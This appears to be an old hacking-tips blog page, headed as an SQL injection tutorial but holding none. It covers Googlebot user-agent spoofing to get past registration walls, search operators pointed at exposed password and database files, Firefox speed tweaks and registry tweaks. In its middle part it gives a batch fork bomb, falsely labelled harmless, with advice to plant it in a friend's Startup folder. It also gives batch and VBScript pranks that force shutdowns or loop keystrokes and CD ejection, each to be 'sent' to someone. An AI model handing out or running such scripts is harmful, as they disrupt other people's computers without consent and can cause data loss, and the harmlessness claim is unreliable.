SQL injection vedio tutorial

Access a Website That Allows Google But Not You

when you conduct a search on Google and the search engine returns a number of good results, but when you try to open the ones that looks the most interesting you get a registration page. The reason is that there are some websites that allow Google but not unregistered or you. The solution is to disguise yourself as Google changing your browser's identity (named user agent) to Googlebot.

Internet Explorer

Copy this code into notepad and save it as a .reg file (name it googlebot-useragent.reg for example)

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"

Now double-click the .reg file you've created to merge it into Windows registry. In order to restore the default user agent copy this code into notepad and save it as a .reg file (name it standard-useragent.reg for example)


Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Internet Settings\5.0\User Agent]
@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Now double-click the .reg file you've created (or downloaded) in order to change back to the default user agent.


Firefox

Type in about:config in the address bar and down to find "general.useragent.extra.firefox".
Double click on it and type in "Googlebot 2.1".
This will change Firefox user agent to the google bot. To change the user agent back to the original click Reset to restore the property to its default value.

Opera ,Safari

There is no way to change the user agent to Googlebot in Opera and safari

Get most out of Google

Google Search Options

Specific file types: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf
Google allows you to search for specific file types, so instead of getting html-files as a result (websites) you get Microsoft excel files for example. The search string you would use would be this:

Filetype:xls (for excel files) or filetype:doc for word files.
But maybe more interesting would be searching for *.db files and *.mdb files. Google by the way doesn’t tell you, you can search for *.db and *mdb files. I wonder what other file types one can search for. Things that come to mind are *.cfg files or *.pwd files, *.dat files, stuff like that. Try and think of something that might get you some interesting results.

Inurl

Another useful search option is the inurl: option which allows one to search for a certain word one would want to be in the url. This gives you the opportunity to search for specific directories/folders, especially in combination with the “index of” option. An example would be inurl:master-tricks which would give you results of website urls that have the word “master-tricks” in the url.

Index of

The index of option is another option that isn’t especially thought of by the creators of google, but comes in very handy. If you use the “index of” string you will find directory listings of specific folders on servers. An example could be: "index of” master-tricks or index.of.master-tricks which would get you many directory listings of master-tricks folders. (don’t forget to use the quotes in this case since you are looking for the entire “index of” string, not just for “index” and “of”)

Site

The site option allows you to come up with results that only belong to a certain domain name extension or to a specific site. For example one could search for .com sites or .box.sk sites or .nl sites, but also for results from just one site. An example of a search string would be: Site:org

Intitle

Intitle is another nice option. It allows you to search for html files that have a certain word or words in the title. The format would be intitle:wordhere.

Link

The Link option allows you to check which sites link to a specific site. For example link:http://pratikthorve.blogspot.com

Combining search options

The above mentioned search options might or might not be known to you, but even though they can amount to some interesting results, it’s a fact that when you start combining them, that’s when google’s magic starts to show. For example, one could try this search string: inurl:master-tricks intitle:master-tricks or this one: site:org filetype:xls "password" .

Try this fork bomb

This is a small code , which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
You can try this on your friends by putting it in the Startup.

Some fun hacks with vbscript and batch files

Cycle a message in your friends computer

open your notepad and type the following lines of code

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

save it as anyfilename.bat
run and see the magic



Convey message to your friend and shutdown his/her computer


open your notepad and type the following lines of code

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" and send it.


Toggle your friend's Caps Lock button simultaneously

open your notepad and type the following lines of code

Set wshShell =wscript.CreateObje ct("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.


Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!


open your notepad and type the following lines of code

Set oWMP = CreateObject("WMPlayer.OCX. 7")
Set colCDROMs = oWMP.cdromCollectio n
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
End If
wscript.sleep 5000
loop


Save it as "Anything.VBS" and send it.


Frustrate your friend by making this VBScript hit Enter simultaneously

open your notepad and type the following lines of code

Set wshShell = wscript.CreateObjec t("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


Save it as "Anything.VBS" and send it.

8 hacks to make Firefox amazingly fast

Double your browser's speed in just five minutes

For about five minutes work and for the cost of precisely nothing at all. Here's what you need to do to make your Firefox extreamly fast.

1. Enable pipelining

Browsers normally sends a request to a server then wait for a response before continuing. Pipelining is a more aggressive technique that lets them send multiple requests before any responses are received, often reducing page download times. To enable it, type about:config in the address bar, double-click network.http.pipelining and network.http.proxy.pipelining so their values are set to true, then double-click network.http.pipelining.maxrequests and set this to 8.

Keep in mind that some servers don't support pipelining, though, and if you regularly visit a lot of these then the tweak can actually reduce performance. Set network.http.pipelining and network.http.proxy.pipelining to false again if you have any problems.

2. Render quickly

Large, complex web pages can take a while to download. Firefox doesn't want to keep you waiting, so by default will display what it's received so far every 0.12 seconds (the "content notify interval"). While this helps the browser feel snappy, frequent redraws increase the total page load time, so a longer content notify interval will improve performance.

Type about:config and press [Enter], then right-click (Apple users ctrl-click) somewhere in the window and select New > Integer. Type content.notify.interval as your preference name, click OK, enter 500000 (that's five hundred thousand, not fifty thousand) and click OK again.

Right-click again in the window and select New > Boolean. This time create a value called content.notify.ontimer and set it to True to finish the job.

3. Faster loading

If you haven't moved your mouse or touched the keyboard for 0.75 seconds (the content switch threshold) then Firefox enters a low frequency interrupt mode, which means its interface becomes less responsive but your page loads more quickly. Reducing the content switch threshold can improve performance, then, and it only takes a moment.

Type about:config and press [Enter], right-click in the window and select New > Integer. Type content.switch.threshold, click OK, enter 250000 (a quarter of a second) and click OK to finish.

4. No interruptions

You can take the last step even further by telling Firefox to ignore user interface events altogether until the current page has been downloaded. This is a little drastic as Firefox could remain unresponsive for quite some time, but try this and see how it works for you.

Type about:config, press [Enter], right-click in the window and select New > Boolean. Type content.interrupt.parsing, click OK, set the value to False and click OK.

5. Block Flash

Intrusive Flash animations are everywhere, popping up over the content you actually want to read and slowing down your browsing. Fortunately there's a very easy solution. Install the Flashblock extension (flashblock.mozdev.org) and it'll block all Flash applets from loading, so web pages will display much more quickly. And if you discover some Flash content that isn't entirely useless, just click its placeholder to download and view the applet as normal.

6. Increase the cache size

As you browse the web so Firefox stores site images and scripts in a local memory cache, where they can be speedily retrieved if you revisit the same page. If you have plenty of RAM (2 GB of more), leave Firefox running all the time and regularly return to pages then you can improve performance by increasing this cache size. Type about:config and press [Enter], then right-click anywhere in the window and select New > Integer. Type browser.cache.memory.capacity, click OK, enter 65536 and click OK, then restart your browser to get the new, larger cache.

7. Enable TraceMonkey

TraceMonkey is a new Firefox feature that converts slow Javascript into super-speedy x86 code, and so lets it run some functions anything up to 20 times faster than the current version. It's still buggy so isn't available in the regular Firefox download yet, but if you're willing to risk the odd crash or two then there's an easy way to try it out.

Install the latest nightly build (ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/), launch it, type about:config in the address bar and press Enter. Type JIT in the filter box, then double-click javascript.options.jit.chrome and javascript.options.jit.content to change their values to true, and that's it - you're running the fastest Firefox Javascript engine ever.

8. Compress data

If you've a slow internet connection then it may feel like you'll never get Firefox to perform properly, but that's not necessarily true. Install toonel.net (toonel.net) and this clever Java applet will re-route your web traffic through its own server, compressing it at the same time, so there's much less to download. And it can even compress JPEGs by allowing you to reduce their quality. This all helps to cut your data transfer, useful if you're on a limited 1 GB-per-month account, and can at best double your browsing performance.

20 registry hacks to make your PC more awesome as never before

Exploring the lesser-known Control Panel applets is another useful technique, and browsing the command line applications in Windows' System32 folder can be interesting. But let's be realistic. There's nothing that quite compares to the Registry.
It's packed with useful settings that can improve performance, fix security holes and change even the most fundamental Windows behaviour for the better. And many of these features simply can't be accessed in any other way. Be careful, though: the Registry has more than its fair share of traps.

If you're not cautious, you could cause more problems than you solve. But with a little care you can get on with creating a better system that's tailored towards your needs.Here are some great registry hacks

1. Improve security

If strangers have physical access to your PC, it's easy for them to plug in a USB flash drive and make copies of your data. If you're using Windows XP SP2 or later, though, there's a simple way to prevent this from happening.

Go to 'HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies', create a DWORD value called 'WriteProtect' and set it to 1. You'll be able to read USB drives, but not write to them any more.

2. Tame UAC

Windows Vista's User Account Control raises so many alerts that many people just turn it off. But do that and you'll also lose useful features like IE's protected mode. If you really can't live with UAC, try disabling the alerts for administrators: you won't get any more hassle, but UAC will run in the background and you'll still get its other features.

To do this, set 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin' to 0. You can restore normal UAC behaviour by setting it to 2.

3. Change the owner

Install Windows on your PC and you'll be asked to enter your name, which is then stored as the registered owner (run WinVer to see this on your system). If you've got a second-hand PC, you probably want to change the name stored as the registered owner. There's no obvious way to do this, and that's where the Registry comes in.

Browse to 'HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion' and you'll see both a 'RegisteredOwner' and 'RegisteredOrganization' value. Double-click either to change them.

4. Sort files properly

Sorting filenames in Explorer can be a problem. By default, it will place 'File_v2.txt' before 'File_v15. txt': that's not ASCII ordering, but it seems to be sensible. But what if the 'v' refers to a version number, and actually File_v15.txt should come first? Suddenly Explorer's default system doesn't work at all.

To restore regular ASCII file ordering, go to 'HKLM\Software\Microsoft\Windows\Currentversion\Policies\Explorer', create a DWORD value called 'NoStrCmpLogical' and set it to 1. Delete the key to restore the standard Explorer approach.

5. Troubleshoot startup

If Windows is taking its time to start up or shut down, there might be a problem. To find out what's going on, go to 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', create a DWORD value called 'verbosestatus' and set it to 1. Restart your PC and Windows will tell you what it's getting up to.

6. Manage folder types

Windows Vista's Explorer will 'intelligently' choose your folder type based on its contents. But this means that a Download folder will change to a Music folder if you grab a few MP3s. To fix this, go to 'HCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell', delete the 'Bags' subkey and then create a new Bags key in the same location.

Create a key called 'AllFolders' beneath Bags, and a key called 'Shell' below that. Click it to open 'HCU\Software\Classes\LocalSettings\Software\Microsoft\Windows\Shell\ Bags\AllFolders\Shell'. Right-click the right-hand pane, choose 'New | String Value' and call this 'FolderType'. Then double-click FolderType and set its value to 'NotSpecified'. You'll still be able to change the folder type, but Vista will no longer assign one. (See steps 10 to 20 here if you need more help.)

7. Easy encryption

Some versions of Windows have always allowed you to encrypt files, but it's an awkward process; you must right-click the file, select 'Properties', click the 'Advanced' button, check 'Encrypt contents to secure data' and then press 'OK' twice.

For a simpler alternative, go to 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced', create a new DWORD called 'EncryptionContextMenu' and set it to 1. Now you can just right-click a file and select 'Encrypt'.

8. Access folders fast

Get speedy access to any folder by pinning it to the Start menu. Run REGEDIT, go to 'HKCR\Folder\shellex\ContextMenuHandlers', right-click 'ContextMenuHandlers' and click 'New | Key'.

Type '' (as ever, without quotation marks) and press [Enter]. Now hold down [Shift], right-click a folder and select 'Pin to Start Menu'.

9. Speed up copy times

Vista gives a high priority to your soundcard, so you should get glitch-free audio no matter what you're doing. This can cause slower network copy speeds, however.

To tweak this, browse to 'HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Multimedia\SystemProfile'. Try setting 'NetworkThrottlingIndex' to more than 10 – 50 or 60 should be effective – then reboot and test your network speeds again. Read more here.

10. Fix the drive listing

If Explorer no longer lists your DVD drive (or thinks that it's a DVD-ROM and can't burn discs), go to 'HKLM\System\CurrentControlSet\Control\Class\' and delete the 'UpperFilters' or 'LowerFilters' settings.

This usually works, but it may break whatever application caused the problem in the first place. If a program stops working, check to see if it has an update, then reinstall it.

11. Access display settings quickly

Right-click the desktop in Windows Vista and you can't directly access the display settings. Windows 7 will fix this, but in the meantime go to 'HKCR\Directory\Background\Shell', right-click 'Shell', select 'New | Key' and call it 'Display Settings'.

Double-click '(Default)' in the right-hand pane and enter 'Display Settings' in the Value Data box. Now right-click Display Settings in the left-hand pane, select 'New | Key' again and call this key 'command'.

Double-click this new key's (Default) value and enter this text: 'rundll32 shell32.dll,Control_ RunDLL DESK.CPL,@0,3'. (That's a zero following the @ sign, and take care to use the right cases.) Click 'OK' and right-click the desktop to see the new Display Settings option.

12. Multiple Live Messenger log-ins

By default, Windows Live Messenger only lets you log into one account at a time. To rectify this situation, go to 'HKLM\Software\Microsoft\WindowsLive\Messenger', create a DWORD value called 'Multiple Instances' and set it to 1. Delete the value to restore things to the way they were beforehand.

13. Clean the menus

You've uninstalled an application, but it's left you a gift: several now-useless right-click context menu entries. To fix this, go to 'HKCR\*' and 'HKCR\Directory'. Expand the shell, then the 'shellex\ContextMenuHandlers' keys and look for any keys beneath these that relate to your unwanted command.

On our PC, the key 'HKCR\*\shellex\ContextMenuHandlers\7-Zip' links to the 7-Zip context menu, for instance, so to get rid of that we would right-click the 7-Zip part in the left-hand pane and click 'Delete'. But be careful – only delete a key if you're really sure it's the right one.

14. Speed up backups

Windows XP's NTBACKUP improves its performance by maintaining a list of system files it knows you won't want to back up (such as the paging file). Add your own files and folders that you're not bothered about and you'll get even better results.

View the list at 'HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToBackup'.

15. Change the default installation folder

Most installations default to the Program Files folder, but if you want to point this elsewhere, navigate to 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion', change the 'ProgramFilesDir' entry to point at your chosen folder and reboot.

16. Rename drives

Add a memory card reader to a PC and Explorer will often cram the Computer folder with similar sounding drive names ('Removable Drive D:', 'Removable Drive E:' and so on), making it difficult to tell them apart. But it doesn't have to be that way.

If drive G: is a CompactFlash slot, say, then a few Registry tweaks can change it to read 'CompactFlash (G:)', making things much clearer. Start at 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer' and create a key called 'DriveIcons'.

Within that, create a key with the drive letter ('G' in this example), and within that, create a new key called 'DefaultLabel'. Double-click this key's (Default) value entry, give it the name 'CompactFlash' (or whatever you like) and click 'OK'. Restart Explorer or press [F5] to see the change.

17. Wipe the page file

Windows stores memory pages in its paging file as you work. That's fine unless an intruder gets access to your system. If so, they may then be able to browse the paging file and extract confidential information.

To avoid this, go to 'HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement', set the 'ClearPageFileAtShutdown' value to 1 and reboot. Windows will now wipe the page file every time it shuts down, lengthening the process but increasing your security.

18. Crash on cue

Blue-screen crashes are usually bad news, but occasionally you might want to initiate one yourself. You might need to test Windows' error reporting, for example. There's a Registry trick that can help achieve this.

Go to 'HKLM\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters', create a DWORD called 'CrashOnCtrlScroll' and set it to 1. Reboot your computer, and to crash it just hold down the right [CTRL] and press [Scroll Lock] twice. Use this sparingly: it's a crash like any other, and there's a chance of hard drive corruption. To be safe, delete the CrashOnCtrlScroll value when you're done.

19. Save CPU time

The average PC has several programs wanting to use the processor at any one time, and so Windows allocates each a period of CPU time – a 'quantum' – before moving to the next. By default this is very short, which makes for a responsive PC, but it sometimes means that Windows wastes time just switching between processes.

The solution? You can try what Windows Server does: set up your system to use a long quantum. Set 'HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl\Win32PrioritySeparation' to 16 (hex).

Longer quantums mean fewer switches between programs and so less wasted time. It can push some programs too far, though, and you might begin to notice games lagging or video playback becoming less smooth. If you spot any problems, just restore the original Win32PrioritySeparation value (probably 26 hex).

20. Disable AutoRun

Windows' AutoRun feature is a potential security risk because it automatically runs code when you connect removable devices to your PC. If you can put up with the inconvenience of doing things manually then it's safest to disable it.

On some systems, this can only be done from the Registry. To do so, go to 'HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\IniFileMapping' and create a key called 'Autorun.inf'.

Next, double-click the new key's (Default) value and enter the new value '@SYS:DoesNotExist'. Now delete the Registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2'. Windows now won't automatically run any code on CDs, DVDs or removable drives; you will have to manually launch it.